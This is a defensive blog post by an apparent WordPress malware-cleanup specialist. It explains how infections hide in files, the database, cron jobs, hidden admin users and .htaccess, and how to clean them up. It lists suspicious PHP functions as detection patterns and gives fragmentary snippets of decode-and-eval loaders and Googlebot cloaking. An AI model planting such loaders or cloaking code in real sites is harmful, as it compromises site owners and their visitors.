Most people think WordPress malware is obvious.
A red browser warning.
A scary popup.
A homepage replaced by a hacker message.
A plugin with a suspicious name.
A giant “you have been hacked” screen.
But after manually cleaning 4,500+ hacked WordPress sites, I can tell you that most real infections are quieter than that.
The site may look normal.
The admin dashboard may still work.
The homepage may load fine for you.
The malware may only trigger for Googlebot, mobile visitors, search traffic, or users from specific countries.
That is why many WordPress site owners do not realize they are hacked until one of these things happens:
- Google starts indexing spam pages they never created
- visitors complain about redirects
- their hosting account gets suspended
- Google Search Console shows security warnings
- Chrome shows a dangerous site warning
- a scanner finds suspicious PHP files
- a hidden admin user appears
- malware comes back after “cleanup”
I work as a WordPress malware removal specialist, and most of my work is not just deleting bad files. The real job is finding how the malware got in, where it is hiding, and why it keeps coming back.
This post is a practical look at what I actually see in hacked WordPress sites.
WordPress malware is rarely just one bad file
A lot of site owners contact me after they or their hosting support removed “the infected file.”
Then the malware returns.
That happens because WordPress malware usually works in layers.
For example, a visible infected file may only be the symptom. The real source may be hiding in:
wp-content/mu-plugins/- a fake plugin folder
functions.phpindex.php.htaccesswp-config.phpwp_options- a scheduled cron job
- a hidden admin user
- a database option that rewrites files
- a remote loader pulling payloads from another server
This is why I always say:
Removing malware is not the same as removing the entry point.
A simple file delete may make the scan look clean for a few hours. But if the backdoor is still present, the infection can rebuild itself.
I wrote more about this problem here:
Why WordPress malware keeps coming back
The most common mistake: trusting the WordPress dashboard too much
The WordPress dashboard is helpful, but it is not a forensic tool.
I have seen infections where the dashboard shows everything as normal, but the database tells a completely different story.
One common example is a hidden admin user.
The site owner checks:
Users → All Users
They see nothing suspicious.
But when I check the database directly, there is an unauthorized administrator account. Sometimes the malware is even designed to hide that user from the dashboard count.
That means the attacker can still log in, reinstall malware, create new files, or change settings.
This is one of the reasons I wrote a dedicated guide on this topic:
How to find and remove hidden admin users in WordPress
The lesson is simple: if a WordPress site was hacked, do not only check what the dashboard shows you. Check the database, file system, logs, and user capabilities.
Some malware only appears to Google, not to you
This is one of the most frustrating cases for site owners.
They open the website and everything looks fine.
But Google shows Japanese text, pharmacy pages, gambling pages, or strange indexed URLs.
That is usually not a normal SEO issue. It is often cloaking.
The malware may show clean content to:
- logged-in admins
- direct visitors
- desktop users
- visitors from your own country
But it may show spam content to:
- Googlebot
- search visitors
- mobile users
- first-time visitors
- users from selected regions
This is common in Japanese keyword hacks, pharma spam, casino spam, and other SEO spam infections.
The owner thinks:
“I checked the site. I don’t see the spam.”
But Google sees it.
That is why a proper malware cleanup often includes checking:
- Google indexed URLs
- Search Console data
- server logs
- sitemap files
- hidden generated pages
- database content
- cloaked redirects
- user-agent based behavior
I wrote a detailed guide on this here:
How to fix Japanese keyword hack in WordPress
I also have a broader SEO spam guide here:
Hidden links malware and SEO spam cleanup
The file name often looks harmless
A beginner may look for obviously bad files like:
hacker.php
malware.php
virus.php
backdoor.php
But real WordPress malware usually hides behind normal-looking names.
I have seen malicious files named like:
wp-cache.php
class-wp.php
wp-security.php
wp-compat.php
admin.php
index.php
license.php
update.php
functions.php
Sometimes the malware hides inside a real plugin or theme file. Sometimes it creates a fake plugin that looks like a system component.
That is why “just look for suspicious filenames” is not enough.
You need to inspect behavior.
Does the file:
- create users?
- write new PHP files?
- call remote URLs?
- decode base64 payloads?
- execute dynamic PHP?
- modify
.htaccess? - inject JavaScript?
- hide from admins?
- regenerate after deletion?
This is also why I created a list of fake plugin patterns:
Known fake and malicious WordPress plugins
Obfuscated PHP is one of the biggest red flags
A lot of WordPress malware is written to be hard to read.
You may see code with:
base64_decode()
gzinflate()
str_rot13()
eval()
assert()
preg_replace('/e')
shell_exec()
curl_exec()
file_put_contents()
These functions are not always malicious by themselves. But when they appear together in strange ways, especially inside a theme file, upload folder, or fake plugin, they need serious attention.
A common malware pattern looks like this:
$payload = base64_decode($data);
eval($payload);
Or this:
file_put_contents('wp-cache.php', $remote_code);
Or this:
if (strpos($_SERVER['HTTP_USER_AGENT'], 'googlebot') !== false) {
// serve spam or redirect
}
This is where manual review matters.
A scanner may detect some known signatures, but it may miss custom obfuscation, remote loaders, delayed payloads, or database-based malware.
I wrote a practical guide about this here:
Obfuscated PHP malware in WordPress
And for broader detection, this guide is useful:
How to detect WordPress malware
The database is often part of the infection
Many people only scan files.
That is a mistake.
WordPress malware can hide inside the database too.
Common hiding places include:
wp_optionswp_postswp_postmetawp_userswp_usermeta- widgets
- theme mods
- transients
- plugin settings
- serialized data
- cron options
I have cleaned sites where the visible infected file kept coming back because the malicious payload was stored in the database.
The file was only the output.
The database was the source.
That is why database cleanup is part of a serious investigation, especially when malware keeps returning.
I covered this in more detail here:
How to scan and clean your WordPress database for hidden malware
WooCommerce malware is more dangerous than normal site malware
When a normal blog gets infected, the damage may be SEO spam, redirects, or reputation loss.
When a WooCommerce site gets infected, customer trust and payment flow are at risk.
One of the most serious infections I see is checkout skimmer malware.
This type of malware may inject fake payment fields, steal card-related data, modify checkout behavior, or load malicious JavaScript on payment pages.
Sometimes the site owner does not notice because orders still work.
That is the scary part.
A WooCommerce skimmer does not always break the site. It may quietly sit on checkout pages and wait.
For WooCommerce cleanup, I always pay attention to:
- checkout templates
- payment plugin files
- injected JavaScript
- unknown admin users
- suspicious snippets
- database options
- recently modified files
- fake payment forms
- third-party script loads
I wrote a real cleanup guide about this here:
WooCommerce fake payment form skimmer fix
.htaccess malware can lock you out or redirect visitors
Another infection I see often is .htaccess malware.
This can cause:
- redirects to spam sites
- 403 forbidden errors
- wp-admin lockouts
- mobile-only redirects
- strange rules that only affect certain visitors
- malware that keeps coming back after file replacement
A clean .htaccess file should be simple and predictable.
A malicious one may include strange rewrite rules, encoded patterns, user-agent checks, referrer checks, or rules spread across many folders.
I wrote about this here:
How hackers hide redirects in .htaccess
And if you are locked out of wp-admin with a 403 error, this case may help:
WordPress wp-admin 403 Forbidden lockout
Security plugins help, but they do not replace investigation
I am not against security plugins.
Wordfence, Sucuri, Patchstack, MalCare, and similar tools can be very useful.
They can help with:
- malware scanning
- firewall rules
- login protection
- vulnerability alerts
- file change detection
- blocklist monitoring
- brute force protection
But here is the important part:
A security plugin is a layer, not a full incident response process.
If a site is already hacked, installing a plugin after the fact may not find every backdoor.
Malware may:
- whitelist itself
- hide from scanners
- use database payloads
- regenerate files
- load remotely
- trigger only for certain visitors
- live outside normal plugin directories
- abuse
mu-plugins - create hidden users
Security tools are useful, but manual cleanup is often needed when the infection is advanced.
This is the difference between a quick scan and a real cleanup.
My main service page explains how I approach this:
WordPress malware removal service
The real cleanup process is not glamorous
A proper WordPress malware cleanup is not just clicking “scan.”
It usually looks more like this:
- Confirm the visible symptoms
- Take a backup for forensic review
- Check recently modified files
- Compare core files against clean WordPress originals
- Inspect plugins and themes
- Check
mu-plugins - Search uploads for PHP files
- Review
.htaccess - Inspect database options and users
- Check cron jobs
- Review access logs
- Remove malicious code
- Patch the entry point
- Rotate passwords and salts
- Harden the site
- Monitor for reinfection
The most important part is step 13.
If you remove malware but do not patch the entry point, the site can get hacked again.
That entry point could be:
- outdated plugin
- nulled theme
- stolen admin password
- weak hosting
- fake plugin
- old developer account
- file upload vulnerability
- exposed XML-RPC
- vulnerable custom code
This is why I focus heavily on post-cleanup hardening, not just file removal.
The best malware cleanup is prevention, but prevention must be realistic
Everyone says:
“Keep WordPress updated.”
That is true, but it is not enough by itself.
A realistic WordPress security routine should include:
- updating WordPress core, plugins, and themes
- deleting unused plugins and themes
- using strong passwords
- enabling 2FA
- reviewing admin users
- blocking or limiting XML-RPC
- using a firewall
- keeping offsite backups
- testing restores
- monitoring Search Console
- checking logs when something looks strange
- avoiding nulled plugins and themes
I wrote a complete prevention guide here:
How to secure a WordPress site
But I will be honest: most hacked sites I clean were not missing some advanced enterprise security setup.
They were missing boring basics.
An abandoned plugin.
A weak password.
A fake plugin.
No backup.
Old admin users.
Cheap hosting.
No monitoring.
That is what attackers exploit every day.
Why I publish real malware case studies
Many security articles online are too clean.
They explain theory, but they do not show what actually happens when a real business site gets hacked.
That is why I publish case studies.
Some examples:
- Dangerous site warning and Google Safe Browsing blacklist removal
- WordPress blank page caused by malware
- How I found and fixed a WordPress mobile redirect hack using access logs
- How I removed 50,000 spam URLs from Google after a Japanese keyword hack
- WordPress homepage defaced with a gambling site
- SWITCH domain deactivation warning for drive-by malware
- Bluehost hacked WordPress site recovery
Case studies matter because WordPress malware is not theoretical.
It affects rankings, revenue, trust, ad accounts, checkout pages, hosting accounts, and customer confidence.
Real examples help site owners understand what “hacked” actually means.
What I want WordPress site owners to understand
WordPress itself is not the problem.
Most hacked WordPress sites are not hacked because WordPress is insecure.
They are hacked because of what happens around WordPress:
- neglected updates
- risky plugins
- nulled themes
- weak admin security
- bad hosting
- abandoned users
- no monitoring
- incomplete cleanups
WordPress can be secure.
But it needs maintenance.
And when it is hacked, it needs more than a surface-level cleanup.
The goal is not just to remove today’s malware.
The goal is to make sure the attacker cannot come back tomorrow.
Final thought
If your WordPress site is showing redirects, spam pages, fake CAPTCHA popups, hidden admin users, blacklist warnings, or malware that keeps returning, do not treat it like a normal plugin conflict.
Treat it like an incident.
Find the source.
Remove the payload.
Patch the entry point.
Harden the site.
Monitor after cleanup.
That is the difference between a site that looks clean and a site that actually stays clean.
I share more real WordPress malware breakdowns, cleanup guides, and case studies on my site:
MD Pabel — WordPress malware removal expert
Top comments (0)